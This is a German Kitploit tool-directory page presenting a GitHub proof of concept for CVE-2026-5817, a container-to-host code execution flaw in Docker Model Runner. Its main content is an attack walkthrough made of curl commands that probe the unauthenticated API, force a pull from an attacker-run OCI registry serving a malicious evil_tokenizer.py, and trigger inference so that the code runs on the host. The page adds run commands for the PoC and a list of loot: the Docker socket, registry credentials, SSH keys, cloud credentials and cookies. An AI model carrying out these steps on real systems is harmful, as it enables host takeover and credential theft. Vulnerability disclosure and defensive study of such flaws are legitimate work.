Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-5817-PoC — Docker Model Runner Container-to-Host RCE / Escape: Eine kritische Schwachstelle, die eine Codeausführung vom Container zum Host im MLX- / SGLANG- / VLLM-Inferenz-Backend des Docker Model Runner ermöglicht. | Kitploit
Tools/GitHubGitHub/gouldnicholas/cve-2026-5817-poc
Container-SicherheitPayload-GenerierungSchwachstellenanalyseExploitationLieferkettensicherheitContainer-AusbruchKI-Sicherheit
GitHubgouldnicholas/cve-2026-5817-poc

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-5817-PoC

Docker Model Runner Container-to-Host RCE / Escape: Eine kritische Schwachstelle, die eine Codeausführung vom Container zum Host im MLX- / SGLANG- / VLLM-Inferenz-Backend des Docker Model Runner ermöglicht.

Repository anzeigen
7vor 3 MonatenNoch nicht geprüft

CVE-2026-5817: Docker Model Runner Container-zu-Host-RCE / Escape

Jeder Container auf einem Docker-Desktop-Host (4.40.0 bis 4.67.x) kann mit zwei HTTP-Anfragen Code auf dem Host ausführen. Kein Socket-Mount, kein --privileged, keine Caps.

Funktionsweise

Jeder Container kann Model Runner unter model-runner.docker.internal ohne Authentifizierung erreichen. Er zieht Modelle aus beliebigen OCI-Registries, auf die du ihn zeigst, und speichert sie, ohne Digests zu verifizieren. Die Python-Backends (vLLM, MLX, SGLang) laden das Modell mit trust_remote_code=True (oder im MLX-Fall wird trust_remote_code in der Konfigurationseingabe nicht einmal berücksichtigt), wodurch jede .py-Datei importiert wird, auf die das Modell in tokenizer_config.json verweist. Diese .py wird als Desktop-Benutzer ausgeführt.

Angriffsszenario

Ausgangslage: Der Angreifer hat Codeausführung innerhalb eines beliebigen Containers auf dem Host. Feindliches Basis-Image, bösartige npm/pip-Installation in einer Dev-Umgebung, ein CI-Runner, der Angreifer-kontrollierten Code aufnimmt, usw. Kein Docker-Socket-Mount, kein --privileged, keine zusätzlichen Caps.

  1. Model Runner testen.

    root@kitploit:~
    curl -sf http://model-runner.docker.internal/api/tags
    

    HTTP 200 bedeutet, dass Model Runner aktiv und von diesem Container aus erreichbar ist. Keine Authentifizierung, kein Origin-Header erforderlich.

  2. Eine bösartige OCI-Registry aufsetzen. Jeder HTTP-Server, der die OCI-Distribution-Spec spricht, funktioniert. Die Registry muss vom Host aus erreichbar sein (Model Runner läuft auf dem Host, nicht im Container). Entweder hostest du sie im öffentlichen Internet oder du betreibst sie lokal und veröffentlichst einen Port (docker-compose.yml macht Letzteres für diesen PoC). Sie liefert ein minimales, gültiges Llama-Modell aus, dessen tokenizer_config.json ein auto_map enthält, das auf evil_tokenizer.py zeigt. evil_tokenizer.py ist die Host-Payload. Siehe rce_registry.py.

  3. Model Runner aus deiner Registry pullen lassen.

    root@kitploit:~
    curl -X POST http://model-runner.docker.internal/api/pull \
         -H 'Content-Type: application/json' \
         -d '{"name": "your.registry/evil/model:latest"}'
    

    Model Runner lädt das Manifest und dann jeden Blob herunter und schreibt sie in seinen On-Disk-Speicher. Kein Digest wird neu berechnet oder verglichen, keine Signaturprüfung. Das bösartige Modell ist nun installiert.

Payload-Eingabe

Ersetze die Zeilen rce_registry.py:45-105 durch eine beliebige Payload.

Voraussetzungen

  • Docker Desktop >= 4.40.0 und < 4.68.0 (Model Runner wurde in 4.40.0 eingeführt, Fehler in 4.68.0 behoben), mit aktiviertem Model Runner
  • Ein installiertes Python-Backend (vllm-metal, vLLM, MLX oder SGLang)
  • Python 3 auf dem Host

Ausführen

root@kitploit:~
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test     # static analysis only, no Model Runner needed
./run_poc.sh clean

Der Proof landet unter /tmp/poc_rce_proof.

Dateien

  • rce_registry.py - gefälschte OCI-Registry, liefert ein minimales Llama-Modell plus evil_tokenizer.py
  • test_claims.py - prüft jede Behauptung gegen den Quellcode und das laufende System
  • run_poc.sh - Wrapper
  • docker-compose.yml - Registry + unprivilegierter Angreifer-Container
  • Dockerfile.registry, Dockerfile.attacker - Images

Verwandte CVEs

  • CVE-2026-5843 PoC (https://github.com/davidrxchester/CVE-2026-5843)
  • CVE-2026-7669 PoC (https://github.com/gouldnicholas/CVE-2026-7669-PoC)
Tool herunterladen
  • Inferenz auslösen, damit das Modell geladen wird.

    root@kitploit:~
    curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
         -H 'Content-Type: application/json' \
         -d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
    

    Model Runner wählt ein Python-Backend (vLLM, MLX oder SGLang) aus und startet es mit --model <bundle_dir>, das auf das gespeicherte Modell zeigt. Das Backend ruft AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True) auf. Transformers liest tokenizer_config.json, sieht die auto_map und importiert evil_tokenizer.py aus dem Bundle-Verzeichnis. Code auf Modulebene wird beim Import ausgeführt.

  • Payload läuft auf dem Host. Sie läuft als Docker-Desktop-Benutzer, außerhalb jedes Containers, mit vollem Dateisystem- und Netzwerkzugriff des Benutzers. Die Inferenz selbst schlägt gewöhnlich fehl (das Modell ist zu klein, um tatsächlich zu laufen), aber das spielt keine Rolle, der Import passierte zuerst.

  • Was der Angreifer davon hat.

    • /var/run/docker.sock ist erreichbar. Daemon-Kontrolle: privilegierte Container erstellen, das Host-Dateisystem in einen davon mounten, in andere Container exec ausführen usw.
    • ~/.docker/config.json enthält Anmeldeinformationen für jede Registry, bei der der Benutzer angemeldet ist. Supply-Chain-Angriffspunkt: bösartige Images stromaufwärts pushen.
    • SSH-Schlüssel, Cloud-Zugangsdaten, Browser-Cookies, Quellbäume, alles, was der Benutzer lesen kann.
    • Über den Daemon auch jeder andere laufende Container auf dem Host.